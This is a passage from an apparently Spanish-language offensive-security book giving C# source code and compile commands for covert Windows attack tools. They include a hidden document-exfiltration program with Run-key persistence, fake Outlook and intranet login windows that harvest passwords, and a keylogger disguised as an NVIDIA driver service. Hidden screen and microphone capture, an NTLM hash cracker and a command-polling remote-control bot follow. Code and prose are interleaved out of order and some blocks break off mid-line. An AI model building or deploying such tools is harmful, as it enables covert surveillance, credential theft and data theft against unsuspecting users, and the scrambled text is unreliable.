[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command] @="\"%1\" %*" "IsolatedCommand"="cmd.exe /k dir | start %1" MSpaint.exe. La ventana de comandos, así como el programa, se abren. Esto funciona también con privilegios elevados. Puede crear también un servicio de Windows que arrancará automáticamente, pero no existirá interacción alguna entre su servicio y el usuario. La instalación de un servicio necesita privilegios de administrador en el equipo. Encontrará más detalles de este método en los siguientes apartados.

Filtrar datos en diferencial Un usuario, aunque posea pocos permisos, tiene definido un rol en la empresa. Ese rol, como contable, vendedor, encargado de relaciones públicas o soporte técnico, da permisos de acceso a ficheros, programas y, globalmente, a una cantidad ingente de información. Estas informaciones son interesantes para el que las quiere o las necesita. Para el que las tiene delante de sus narices todos los días no son obligatoriamente pertinentes. En este escenario, vamos a ver cómo robar informaciones que se encuentran en los directorios donde el usuario guarda sus documentos. El directorio podría ser cualquier directorio en el que el usuario posee permisos. Los documentos robados se copiarán en un directorio compartido, un sitio WebDAV o en un sitio SharePoint.

1. Usar una carpeta compartida como destino

Si el equipo del usuario se encuentra en la misma red en la que se lanza el ataque, entonces será muy sencillo recuperar los ficheros. Para ello, comparta una carpeta.

Cree un directorio en la carpeta pública llamada users. C:\Users\Public\users

Haga clic con el botón

derecho del ratón, elija Propiedades y acceda a la pestaña Compartir - Uso compartido avanzado....

Comparta la carpeta y otorgue el permiso de Control total a Todo el mundo. En la pestaña Seguridad, añada el permiso de Modificar al grupo Todo el mundo.

2. Configurar un servidor con WebDAV como destino

Si el equipo no se encuentra en la misma red, algo que puede ocurrir con el portátil de un comercial que viaja mucho, vamos a configurar un servidor web que funcionará como un servidor de ficheros. Podremos copiar allí los ficheros. Hubiésemos podido utilizar un servidor FTP, pero la salida de este servicio suele bloquearse en los cortafuegos de la empresa. Para ello, instale IIS en un servidor o en su equipo con los componentes WebDAV, como en este ejemplo con Windows 8.

Una vez instalado, configure la autenticación para que todo el mundo pueda escribir en el directorio. Para crear una nueva regla, abra la consola de gestión de IIS y utilice el menú Agregar regla de creación WebDAV. En el formulario, seleccione Todo el contenido, Todos los usuarios, así comoLeer, Origen, Escribir y confirme su elección con el botón Aceptar. En el menú de la derecha, haga clic en Habilitar WebDAV.

Vuelva a la página anterior y active la exploración del directorio.

Vuelva a la página anterior. Añada una aplicación en el sitio web por defecto.

Llámela users y dé la ruta del directorio Users creado anteriormente en la carpeta pública.

Pruebe su sitio web con el explorador de Windows, mapee una unidad de red en su sitio web o ejecute el comando siguiente: Si el Net use z: \\localhost\users comando se ha ejecutado correctamente, debería poder añadir documentos en la unidad Z: desde el explorador de Windows.

3. Configurar SharePoint como destino

En SharePoint u Office 365, usaremos una biblioteca de documentos para enviar nuestros ficheros. Para ello, cree una biblioteca de documentos o utilice una biblioteca existente. Vaya a la biblioteca de documentos y haga clic en Abrir con el Explorador.

Conseguirá una dirección web como la obtenida con WebDAV.

http://misitio/TeamSite/test/Documents

Utilice esta URL para montar su unidad de red:

Net use u: http://misitio/TeamSite/test/Documents

4.

Crear la aplicación

Ha visto las diferentes opciones para el destino de los ficheros copiados. Un sitio SharePoint o WebDAV permite enviar estos ficheros desde el exterior y además, por qué no, con HTTPS. Esta aplicación podría servir perfectamente para realizar una copia de seguridad diferencial; lo que cambia es que el usuario no sabe nada de esta copia.

Para enviar nuestros ficheros a su destino, haremos una sencilla copia hacia una unidad de red creada por nuestra aplicación. La letra de la unidad será B: ya que esta unidad no es utilizada por el sistema operativo. Estaba en origen reservada para un posible segundo lector de disquetes.

Process map = new Process(); if (active && destinoWeb.Length > 5) { map.StartInfo.Arguments = @"/c net use " + letraUnidad + " " + destinoWeb; } else { map.StartInfo.Arguments = @"/c net use " + letraUnidad + " /del /y"; } map.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; map.StartInfo.FileName = "cmd.exe"; map.Start(); map.WaitForExit(5000); } Para que el usuario no vea esta unidad, la montaremos antes de la copia y la desmontaremos después.

Añadimos nuestro programa en el arranque, para que la copia esté actualizada.

Si el

Process reg = new Process(); reg.StartInfo.Arguments = "add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\ Run /v \"sync Backpup tool\" /t REG_SZ /d \"" + Path.Combine(Environment.CurrentDirectory, "Sync.exe") + "\" /f"; reg.StartInfo.FileName = "reg.exe"; reg.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; reg.Start(); reg.WaitForExit();

usuario ejecuta nuestra aplicación con permisos de administrador, esta modificará las claves de registro correspondientes a una directiva de grupo para esconder la unidad usada en el explorador.

reg.StartInfo.Arguments = "add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\explorer /v \"NoDrives\" /t REG_DWORD /d " + unidadID + " /f"; reg.Start(); reg.WaitForExit(); reg.StartInfo.Arguments = "add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\explorer /v \"NoViewOnDrive\" /t REG_DWORD /d " + unidadID + " /f"; reg.Start(); reg.WaitForExit(); Para esconder la unidad B, usaremos el número 2. Para comprenderlo, mire la siguiente tabla:

A:

B:

C:

D:

E:

1 binario que usaremos. 2 4 las unidades C y 8 E, el código binario 16 sería 20. código Si desea usar

Es el

Vamos a vigilar la carpeta fuente de la copia con el fin de recibir una notificación en cuanto se añada, renombre o actualice un fichero. Haremos lo mismo con la carpeta destino.

FileSystemWatcher vigilaFichero = new FileSystemWatcher(fuente); vigilaFicheros.Filter = "*.*"; vigilaFicheros.Path = fuente; vigilaFicheros.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite | NotifyFilters.FileName | NotifyFilters.DirectoryName; vigilaFicheros.EnableRaisingEvents = true;

vigilaFicheros.Changed += vigilaFicheros_Change; vigilaFicheros.Created += vigilaFicheros_Change; vigilaFicheros.Renamed += vigilaFicheros_Renombrar; puede descargar el código fuente completo desde la página Información. Cree un fichero de texto, que llamaremos backup_cmd.txt, con el siguien-te código:

Se

using Microsoft.Win32; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Security.Permissions; using System.Text;

namespace File_Copy {

class Program { //No examina voluntariamente los subdirectorios static string fuente = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); static string carpetaDestino = @"b:\desktop\" + Environment.UserName; static string letraUnidad = "b:"; static int unidadID= 2 ; // a=1, b=2 , c =4, d=8 -> c y d = 12 etc... static string destinoWeb = "http://localhost:90/test/"; //si webdav

static void Main(string[] args) { try { FileSystemWatcher vigilaFicheros = new FileSystemWatcher(fuente); vigilaFicheros.Filter = "*.*"; vigilaFicheros.Path = fuente; vigilaFicheros.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite

El

código fuente de este programa nos muestra cómo forzar su arranque automático al iniciar la sesión. Nos muestra también cómo copiar solamente los ficheros modificados hacia el destino y cómo aplicar una política de grupo mediante programación.

Hubiésemos podido también cargar los ficheros en un sitio web con un upload:

WebClient Enviar = new WebClient(); Enviar.UploadFile (fuente, destino); Pero el objetivo era disponer de una aplicación que gestione la copia de ficheros en una carpeta compartida o un sitio web sin escribir demasiado código.

5. Compilar el programa

Solo queda trasformar nuestro código en programa. Encontrará más informa-ción sobre la compilación de un programa en el inicio de este capítulo. La aplicación creada es de tipo consola; no está, por lo tanto, por sí misma escondida al usuario. Descubrirá cómo hacerlo en los capítulos siguientes. Vaya al directorio del framework 2 o 4 y ejecute el comando siguiente:

csc /out:c:\temp\backup.exe /target:exe c:\temp\backup_cmd.txt Ahora puede probar su aplicación. Esta copia sus ficheros hacia el destino. Cuando se modifique un fichero, este debe actualizarse en el destino.

Crear una ventana de autenticación El usuario de una empresa está acostumbrado a que se le solicite su contraseña varias veces. En ocasiones, introduce una contraseña para visitar ciertos sitios web si la empresa utiliza un proxy, se conecta a Outlook, a Lync, etc. Vamos a aprovecharnos de esta solicitud casi excesiva para pedir al usuario su contraseña. Le daremos como información su nombre de usuario, lo que le dará confianza para seguir adelante.

1. Principios básicos

Primero, elegimos una aplicación para su modificación. Para monitorearla, miraremos la lista de procesos. En cuanto esta arranque, la pararemos, si se trata de una aplicación de gestión, ya que la ventana de solicitud de credenciales debe ser única. Con programas como Outlook o IE, no necesitamos pararla, sino que debemos esperar a que haya arrancado completamente.

Para monitorear el proceso:

Process[] Procesos = Process.GetProcessesByName("Outlook");

if (Procesos.Length > 0) Para parar un proceso:

Procesos[0].Kill(); Para recuperar el nombre de usuario y el dominio actual:

Environment.UserName;

La

Environment.UserDomainName; modificación de la ventana de solicitud se realizará con Paint, hasta obtener una imagen exenta de informaciones personales.

2. Crear el programa para Outlook

Para este programa, le aconsejamos insistentemente que utilice Visual Studio. Usaremos una captura de pantalla de la petición de autenticación para reproducirla lo mejor posible. Será, por lo tanto, más sencillo gestionar la parte gráfica con Visual Studio que con el Bloc de notas. Le recordamos que existe una versión «express», gratuita y descargable en el sitio web de Microsoft. Modifique las propiedades de la siguiente forma para crear una ventana de login de Outlook.

FormBorderStyle = None Text = Outlook BackgroundImage = ruta de la imagen de la ventana de login

Para no tener que rehacer cada botón y cada elemento, usaremos un Panel para cada zona donde se pueda hacer clic. Coloque un Panel por encima de la captura de pantalla, en el emplazamiento de un botón, por ejemplo, el botón OK. Después, modifique las propiedades como sigue:

Name = ButOk

En los

BackgroundColor = Transparent lugares donde aparece texto, como el nombre del dominio y el de usuario, un Label será ideal. Añada un Label con las siguientes propiedades:

Name = lblUser

En el

BackColor = Transparent lugar donde debe indicarse la contraseña, añada un campo de texto con las siguientes propiedades:

Name = txtpass UseSystemPasswordChar = true; panel usado en la zona de título deberá permitir el desplazamiento de la ventana:

El

private void objetivoTitulo_MouseMove(object sender, MouseEventArgs e) { if (SeMueve) {

this.Location = Cursor.Position;

Añada un Timer al formulario con el nombre de Minut ero y con un valor de 5000 c omo lapso de tiempo. Acuérdese de activarlo.

} El

}

private void objetivoTitulo_MouseDown(object sender, MouseEventArgs e) { SeMueve = true; }

private void objetivoTitulo_MouseUp(object sender, MouseEventArgs e) { SeMueve = false; } resultado de sus modificaciones debe parecerse a la siguiente imagen:

A continuación le presentamos el código completo Program.CS, que resulta particular. Declara un Form sin presentarlo en pantalla, pero el minutero que monitorea el proceso ya ha arrancado.

using System.Windows.Forms;

El

namespace LoginPass { static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); //Application.Run(new Form1()); Form1 f1 = new Form1();

Application.Run(); } }

} código del Form permite presentarlo en pantalla solamente si la aplicación elegida para el engaño ha terminado de arrancar y si ningún fichero que contenga la contraseña está presente.

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Text; using System.Windows.Forms;

namespace LoginPass { public partial class Form1 : Form { public Form1() { f1 = this; InitializeComponent(); } bool SeMueve = false; Boolean Mostrado = false; Form1 f1; String Destino = @"c:\temp\passoutlook-"+ Environment.UserName +".txt"; private void Form1_Load(object sender, EventArgs e) { lbUser.Text = Environment.UserDomainName +"\\"+Environment.UserName; lbDomaine.Text = "su cuenta " + Environment.UserDomainName; txtPass.UseSystemPasswordChar = true;

}

private void objetivoExit_Click(object sender, EventArgs e)

El

resultado es interesante; en cuanto la aplicación detecta Outlook, muestra el formulario de login con el dominio y el nombre de usuario.

3. Crear el programa para IE

Vamos a averiguar qué sitios web visita el usuario. En cuanto visite la intranet, le pediremos sus credenciales mediante una ventana de login. Para ello, debemos vigilar IE y encontrar el nombre de su intranet.

La ventana de conexión depurada se parece a la siguiente:

Añada un Label para el nombre del sitio visitado al lado de Conectándose a. Añada un Label para el nombre de dominio. Añada también los campos de texto para la introducción de los datos y un Panel para cada botón.

Vamos a modificar las líneas de código que monitorean los procesos para vigilar Iexplore. Internet Explorer crea un proceso para cada página visitada. Solo la página activa tiene un título en la propiedad MainWindowTitle de su proceso.

Process[] Procesos = Process.GetProcessesByName("iexplore"); Vamos a recorrer todas las páginas visitadas. Si alguna de ellas contiene el nombre de la intranet, presentaremos nuestra ventana de login.

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;

namespace Crack_num_password { public partial class Form1 : Form { private System.Windows.Forms.TextBox textBox1; private System.Windows.Forms.TextBox textBox2; private System.Windows.Forms.Button button1; public Form1() { //InitializeComponent(); this.textBox1 = new System.Windows.Forms.TextBox(); this.textBox2 = new System.Windows.Forms.TextBox();

this.button1 = new System.Windows.Forms.Button(); this.SuspendLayout(); // // textBox1 // this.textBox1.Location = new System.Drawing.Point(22, 24); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(235, 20); this.textBox1.TabIndex = 0; // // textBox2

using System; using System.Collections.Generic; using System.Text; using System.Drawing.Imaging; using System.Drawing; using System.Windows.Forms; using System.Threading;

namespace PrintScreen { class Program { static Form f1 = new Form(); static void Main(string[] args) { f1.ShowInTaskbar = false; System.Timers.Timer minutero1 = new System.Timers.Timer(); minutero1.Enabled = true; minutero1.Interval = 5000; //5000 = 5 segundos minutero1.Elapsed += minutero1_action; Thread th = new Thread(minutero1.Start); th.Start(); Application.Run();

}

private static void minutero1_action(object sender, System.Timers.ElapsedEventArgs e) { Screen[] pantallas = Screen.AllScreens; foreach (Screen sc in pantallas) {

string fichero = @"c:\temp\" + sc.DeviceName + "-" +

using System; using System.Collections.Generic; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; using System.IO; using System.Threading; using System.Reflection; [assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] [assembly:AssemblyVersion("7.17.13.697")] [assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] [assembly:AssemblyCompany("Global Corporation. All rights reserved.")] namespace keyLogger {

class Program {

[DllImport("User32.dll")] private static extern int GetAsyncKeyState (long vKey); [DllImport("user32.dll")] static extern uint MapVirtualKey(uint uCode, uint uMapType);

static StreamWriter fichero; static string rutaFichero = @"c:\temp\logkey.txt"; static Form f1 = new Form();

static void Main(string[] args) { f1.Name = "NVIDIA Driver Helper Service"; f1.ShowInTaskbar = false; f1.Hide(); f1.WindowState = FormWindowState.Minimized;

Acuérdese de cambiar el nombre del fichero de destino para obtener un fichero diferente que contenga las contraseñas de Outlook e IE. El resto del desarrollo es el mismo que para Outlook. if (Procesos.Length > 0)

4. Crear el programa para una aplicación de gestión {

if (!File.Exists(Destino) && !Mostrado) Para crear una ventana de login de una aplicación de gestión, procederemos de la misma manera. Empezaremos por capturar { la pantalla de login en nuestro equipo, y modificaremos con Paint si fuese necesario. El siguiente ejemplo presenta la interfaz voluntariamente modificada de una aplicación real. Solo se presenta a título de ejemplo. Mostrado = true; foreach (Process p in Procesos) { El principio es el mismo que en el apartado anterior. Colocaremos los campos de texto en las zonas adecuadas, un Panel en cada botón, //Solo laetc. ventana activa tiene título if (p.MainWindowTitle.Contains("intranet")) Una de las cosas que cambian es el tipo de aplicación. El login solo se solicita en el arranque de esta. Debemos, { por lo tanto, detectar el arranque de la aplicación, forzar su cierre, mostrar nuestra ventana de login y, por fin, rearrancar la aplicación normalmente. Solo se debe hacer este proceso una vez, esperando que el usuario nos dé su f1.ShowDialog(); contraseña correctamente. } Parra detectar el arranque de la aplicación, debemos primero saber cómo se llama. Para ello, arranque la aplicación y vaya al Administrador de tareas (ejecute taskmgr.exe o pulse las teclas [Ctrl][Mayús][Esc]). } En la lista de procesos, haga clic en la aplicación con el botón derecho del ratón y muestre las propiedades para obtener el nombre real, así como la ruta del fichero ejecutable. } }

El código visto anteriormente se adapta bastante bien. Sin embargo, debemos cambiar un evento para que pare la aplicación y muestre nuestra ventana de login.

private void Minutero_Tick(object sender, EventArgs e) { Process[] Procesos = Process.GetProcessesByName("Outlook");

if (Procesos.Length > 0) { if (!File.Exists(Destino) && !Mostrado) { Procesos[0].Kill(); //Stop la aplicación Mostrado = true;

f1.ShowDialog(); //Muestra la ventana de login }

} } Debemos también re-arrancar la aplicación después de registrar la contraseña.

Process p = new Process(); p.StartInfo.FileName = @"c:\rutaApp\miApp.exe"; p.StartInfo.Arguments = "/argumentos aqui"; p.Start();: Añadiremos el código siguiente en el evento del botón OK, justo antes de salir del programa. Por lo tanto, justo antes que:

Application.Exit();

El

usuario no debe sospechar que buscamos robarle su contraseña. De modo que es fundamental que su programa

solo le pida una vez la contraseña, y no hacer nada mientras exista un fichero que contenga la contraseña. Debe solicitar a la aplicación que escriba el fichero en una carpeta compartida. Podrá entonces en cualquier momento eliminar el fichero y la aplicación solicitará de nuevo las credenciales al usuario.

Crear un keylogger Existen numerosos keyloggers. La mayoría de ellos usan un sistema muy conocido, el método SetWindowsHookEx, que permite almacenar las teclas pulsadas. Sin embargo, es también lo primero que miran los sistemas de seguridad para impedir la captura del teclado. Encontrará más información sobre el método SetWindowsHookEx en el sitio web de Microsoft, en la siguiente dirección: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx Vamos a usar una técnica diferente para ser más discretos. Nuestro programa irá pidiendo regularmente las teclas en vez de suscribirse a los eventos de teclado. El código que presentamos gestiona la tecla pulsada pero no si esta se escribe en mayúsculas, es decir si [Alt] o [Mayús] son pulsadas al mismo tiempo.

1. Principios básicos

Para esconder un poco más la aplicación en el administrador de tareas, vamos a darle un nombre con sus propiedades. Esto se hace por medio de las propiedades de la aplicación.

El nombre dado se parece al de un servicio de driver.

using System.Reflection; [assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] [assembly:AssemblyVersion("7.17.13.697")] [assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] [assembly:AssemblyCompany("Global Corporation. All rights reserved.")] Usaremos en .NET User32.dll, que nos permitirá buscar las informaciones tecleadas con toda discreción. La función DllImport va a permitirnos cargar esta DLL.

[DllImport("User32.dll")] private static extern int GetAsyncKeyState (long vKey); [DllImport("user32.dll")] static extern uint MapVirtualKey(uint uCode, uint uMapType); Esta vez crearemos una aplicación que no se mostrará al usuario. Es una aplicación de tipo Windows. No cargaremos el Form principal en el programa. Configuraremos asimismo las propiedades de la aplicación para que no aparezca en la parte clásica del administrador de tareas.

f1.Name = "NVIDIA Driver Helper Service"; f1.ShowInTaskbar = false; f1.Hide(); Application.Run(); Todas estas particularidades permitirán que nuestra aplicación sea discreta y eficaz. Le quedará añadir la aplicación al arranque, como hemos visto en el capítulo anterior.

2. Crear la aplicación Cree un nuevo fichero de texto llamado Driver.txt y añada el siguiente código:

3. Compilar la aplicación

Esta vez, nuestra aplicación es una aplicación Windows Forms invisible. El tipo de destino debe serwinexe.

Vaya al directorio del framework 2 o 4 y ejecute el comando de compilación. A continuación le recordamos el comando para el Framework 2:

cd C:\Windows\Microsoft.NET\Framework\v2.0.50727

Una vez

csc /out:c:\temp\nkey.exe /target:winexe c:\temp\driver.txt arrancada la aplicación, esta no se presenta al usuario ni tampoco en la parte clásica del administrador de tareas.

La encontraremos en el detalle de la tarea con las propiedades añadidas al fichero.

Queda muy discreto y el log se llena en cada tecla pulsada.

Puede crear un fichero de log en una carpeta compartida de red, en vez de crearlo en el equipo local; reflexione sobre ello.

Capturar la pantalla Hemos visto cómo capturar las teclas pulsadas por el usuario. Pero ¿qué pasa en el equipo de la víctima? Usted va a poder añadir la función de captura de pantalla del equipo objetivo.

1. Principios básicos

Para capturar la pantalla, usaremos una función muy sencilla que se debe poner en marcha. Piense en encontrar un desencadenador interesante, como teclas pulsadas o un programa ejecutado; si no, el espacio usado para las capturas de pantalla aumentará rápidamente.

El código principal de este programa en el siguiente:

Se

g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0), sc.Bounds.Size); completa con la gestión de todas las pantallas presentes, gracias al vector siguiente:

Screen[] pantallas = Screen.AllScreens;

2.

Crear la aplicación

Este código permite la captura de pantalla y el envío de un fichero de imagen. El siguiente código gestiona varias pantallas. Cree un fichero de texto que se llame Captura.txt y añada el siguiente có-digo:

3. Compilar la aplicación

Esta aplicación ha sido diseñada como una aplicación invisible. Para ello, debe ser compilada como una aplicación Windows Forms. Puede también recoger los elementos clave y añadirlos al keylogger. Vaya al directorio del framework del que disponga y ejecute el siguiente comando. Se presenta el comando para el framework 4:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319

Al

csc /out:c:\temp\cap.exe /target:winexe c:\temp\captura.txt arrancar el programa, no se le muestra nada al usuario. Pero en la carpeta de destino, una imagen es almacenada por cada monitor cada 5 segundos.

Grabar el sonido Hemos cubierto la captura del teclado, la de la pantalla, pero ¿qué ocurre a su alrededor? Para averiguarlo grabaremos el sonido del micrófono. Todos los dispositivos móviles disponen de uno y, si el equipo objetivo utiliza Lync, Skype u otro software de comunicación, dispondrá también de micrófono.

1. Principios básicos

Para grabar el sonido, existen multitud de funciones en .NET, pero necesitan generalmente de la instalación de un SDK. Preferimos presentarle un código que se compila en todos los tipos de equipos sin ningún añadido. Para ello, usaremos la DLL Winm.dll.

[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] private static extern int mciSendString(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);

[DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")] public static extern void GetWaveVolume(IntPtr devicehandle, out int Volume); Esta DLL es muy sencilla de utilizar para grabar el sonido.

Para grabar el sonido:

mciSendString("open new Type waveaudio Alias recsound", "", 0, 0); mciSendString("record recsound", "", 0, 0); Para enviar lo capturado a un fichero y cerrarlo:

mciSendString("save recsound mifichero.wav", "", 0, 0);

2.

mciSendString("close recsound ", "", 0, 0);

Crear la aplicación

A continuación, le presentamos el código completo de una aplicación de línea de comandos que graba el sonido desde el arranque de la aplicación hasta que se pulse [Intro]. El código está, por supuesto, como el resto de código, disponible en nuestro sitio web.

using System; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Text;

namespace Soundrecorder { class Program {

[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] private static extern int mciSendString(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);

[DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")] public static extern void GetWaveVolume(IntPtr devicehandle, out int Volume); private static string horaGrabacion = "";

private static string rutaFichero = @"c:\temp\"; //ha cambiado

static void Main(string[] args) { SoundRecord(true); Console.ReadLine(); SoundRecord(false); }

Podríamos añadir un detector del volumen del sonido, para desencadenar la grabación de un fichero o para pararlo cuando nada ocurre, pero, para eso, debemos usar la librería de Microsoft.Speech, que en el caso de Windows 8 arranca la aplicación de reconocimiento de voz. Esta necesita una configu-ración antes de su utilización. El framework mínimo para el reconocimiento de voz es el 3.5.

A nivel del código, debe importar al principio del programa la librería siguiente:

using System.Speech.Recognition;

Después podrá utilizar la propiedad 100.

AudioLevel, que devuelve el volumen de la entrada con un valor entre 0 y

O

SpeechRecognizer reco = new SpeechRecognizer(); if (reco.AudioLevel > 50) { //Su código } usando el evento asociado:

reco.AudioLevelUpdated += reco.AudioLevelUpdated;

Añada el código usando

e.AudioLevel como referencia del nivel del sonido.

private static void reconocimiento_AudioLevelUpdated(object sender, AudioLevelUpdatedEventArgs e) { Console.WriteLine(e.AudioLevel); } Encontrará más información en el sitio web de Microsoft, en el enlace siguiente: http://msdn.microsoft.com/enus/library/vstudio/system.speech.recognition.speechrecognizer

3. Compilar la aplicación

Para variar, hemos realizado el programa como una aplicación para la línea de comandos. Por lo tanto, la compilaremos para obtener un fichero de tipo exe. Vaya al directorio de su framework y compile su programa como en el ejemplo siguiente, para el framework 4.

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319

Al

csc /out:c:\temp\sound.exe /target:exe c:\temp\sound.txt arrancar el programa, la ventana de comandos se abre. El sonido ya se está almacenando en memoria. Pulsando la tecla [Intro], el programa se cierra y guarda un fichero wav en el directorio de destino.

Aquí tiene un medio muy sencillo de añadir grabación de sonido a su programa; se entiende que es muy sencillo añadir estas funciones a las del keylogger y capturar la pantalla como hemos visto anteriormente, para llegar a una única aplicación completa. Le dejamos esta tarea como ejercicio.

Romper una contraseña En un registro algo diferente de lo que acabamos de ver, crearemos una aplicación capaz de romper las contraseñas cifradas de Windows. Hemos visto en el capítulo Extraer, romper, cambiar una contraseña que la extracción podía realizarse con herramientas como SamDump. Una vez que tenemos en nuestra posesión el fichero de texto con las contraseñas cifradas, debemos romperlas. Hemos visto, siempre en el capítulo dedicado a la temática de romper las contraseñas, que estas no son cifradas, sino resumidas con MD4, siendo estas últimas codificadas en Unicode. Para averiguar una contraseña a partir de hash, debemos comparar una contraseña probable resumida con la que se encuentra en el fichero.

1. Principios básicos

Para ello, utilizaremos una biblioteca de .NET que gestiona MD4, gratuita y descargable en Internet. .NET no permite por defecto usar MD4. Microsoft anima a los desarrolladores a utilizar MD5 o algoritmos de hashes más seguros. Con un objetivo educativo, compararemos contraseñas de tipo numérico que tengan entre 0 y 7 caracteres. Descargue la biblioteca MD4 en el enlace siguiente:http://www.superstarcoders.com/blogs/posts/md4-hashalgorithm-in-c-sharp.aspx

Para comparar nuestra eventual contraseña con la del fichero, transformaremos esta última en Unicode.

byte[] hashunicode = Encoding.Unicode.GetBytes(pass); Vamos a resumirlo con el algoritmo MD4.

byte[] hash = ComputeMD4(hashunicode); Después transformaremos el resultado en hexadecimal para compararlo con la contraseña proveniente de la extracción.

string txtmd4 = ""; foreach (byte b in hash) { txtmd4 += b.ToString("X"); } Usaremos una función que solo se encuentra a partir del framework 4. Esta última permite hacer bucles usando el paralelismo, y por lo tanto resolver las comparaciones de la contraseña a mayor velocidad.

Parallel.For(0, 9999999, i => {

2.

Crear la aplicación

Una vez descargada la librería, copie el fichero en un directorio. Después cree un nuevo fichero de textocrack.txt con el siguiente código:

3. Compilar la aplicación

La aplicación que estamos creando es de tipo Windows Forms. Existe una particularidad, ya que la compilaremos con una biblioteca que se encuentra en un fichero separado.

Abra una ventana de comandos y acceda al directorio del framework 4.

Cd\ Cd ”C:\Windows\Microsoft.NET\Framework\v4.0.30319” Después escriba:

csc.exe /out:c:\temp\crack.exe /target:winexe c:\temp\crack.txt c:\temp\md4.cs

Ahora puede ejecutar su aplicación. El primer campo es el que contiene el hash que deseamos romper. El segundo es el del resultado de la contraseña encontrada.

Puede realizar una prueba con el siguiente hash:

B7A27262E5D3516533A09F497E8A085

La

aplicación puede calcular la contraseña correspondiente. En el momento de la prueba, se percatará que la aplicación parece que se encuentra bloqueada: es normal, ya que está calculando. Hubiésemos podido evitar este bloqueo usando Thread. Pero no es el objetivo de este código. Después de un tiempo, o se encuentra la contraseña, o aparece un mensaje en el que se dice que no se ha encontrado la contraseña. En nuestro caso, la contraseña debería ser 1223, como en la siguiente imagen.

Puede, a partir de lo creado, desarrollar una herramienta más interesante basando sus comparaciones en otros caracteres, además de los numéricos.

4. Usar la GPU

En la medida en que disponga de una buena tarjeta gráfica, podría también utilizarla para romper sus contraseñas. Para ello, basta con descargar el SDK que corresponde a su tarjeta gráfica y adaptar el código.

Para ATI: http://developer.amd.com/tools/graphics-development/

Puede usar también los SDK que no se basan en una tarjeta en particular, como CudaFy en .NET, que soporta ATI, NVIDIA e Intel: http://cudafy.codeplex.com/

Microsoft también pone a disposición de los desarrolladores la tarjeta gráfica:http://msdn.microsoft.com/enus/library/vstudio/hh265136.aspx y http://research.microsoft.com/en-us/projects/Accelerator/

La mayor parte de estas bibliotecas soportan varias tarjetas gráficas. Por lo tanto, podemos crear un programa capaz de romper contraseñas de manera muy eficaz añadiendo varias tarjetas gráficas.

Gobernar un equipo remoto Cuando ejecuta una aplicación trampa para un usuario, está tomando riesgos. Este usuario podría optar por no ejecutar cada fichero que le envía. Debe encontrar primero la manera de que ejecute sus comandos sin que ejecute varias aplicaciones trampa. Vamos a crear una aplicación robot que buscará asiduamente en un sitio web los comandos que debe ejecutar.

1. Principios básicos

Vamos a utilizar un objeto WebClient para abrir el fichero sin descargarlo.

WebClient paginaWeb = new WebClient();

La

Stream flujo = paginaWeb.OpenRead(ruta); StreamReader contenido = new StreamReader(flujo); primera línea es el comando, la segunda representa los parámetros y la tercera indica si la aplicación debe ser visible o no para el usuario.

El string command, param = ""; bool EsVisible = false; command = contenido.ReadLine(); try{ param = contenido.ReadLine(); } catch { } try { EsVisible = bool.Parse(contenido.ReadLine()); } catch { } fichero de comandos es un simple fichero de texto, subido en un sitio web con una dirección fija y siempre con el mismo nombre. La variable Contenido es la página web que se lee. Se puede leer una página más compleja, como un blog o un foro, y buscar allí comandos que se van a ejecutar. Basta con parsear el texto de esta variable.

El texto que genera el comando para mostrar la línea de comandos al usuario se parece a lo que sigue:

Cmd /k True Podemos también ejecutar comandos PowerShell de la siguiente manera:

Powershell -command "&{ get-host; }" False Puede indicar un nombre de usuario y una contraseña para abrir la página que contiene los comandos:

WebClient pageWeb = new WebClient();

Una vez

pageWeb .Credentials = new NetworkCredential("user", "Pass"); recuperado el comando, lo ejecutamos con Process. Esta parte ya se ha explicado en los apartados anteriores.

2. Crear la aplicación

A continuación puede ver el código completo de la aplicación, que también puede descargar. Abra el Bloc de notas y escriba las líneas siguientes. Acuérdese de añadir una función que haga que el programa se ejecute en el arranque.

using System; using System.Collections.Generic; using System.IO; using System.IO.Pipes; using System.Linq; using System.Text; using System.Threading;

namespace CambiaPin { class Program { static void Main(string[] args) { NamedPipeClientStream cliente = new NamedPipeClientStream("\\\\.\\pipe\\PinSetting"); StreamWriter Escribir = new StreamWriter(cliente); cliente.Connect(); int pin = SolicitudCodigo(); Escribir.WriteLine(pin); Escribir.Flush(); Escribir.Close(); } static int SolicitudCodigo() { try { Console.WriteLine("Introduzca un código PIN numérico:"); return int.Parse(Console.ReadLine().Trim()); } catch { Console.WriteLine("El código debe ser numérico"); return SolicitudCodigo();

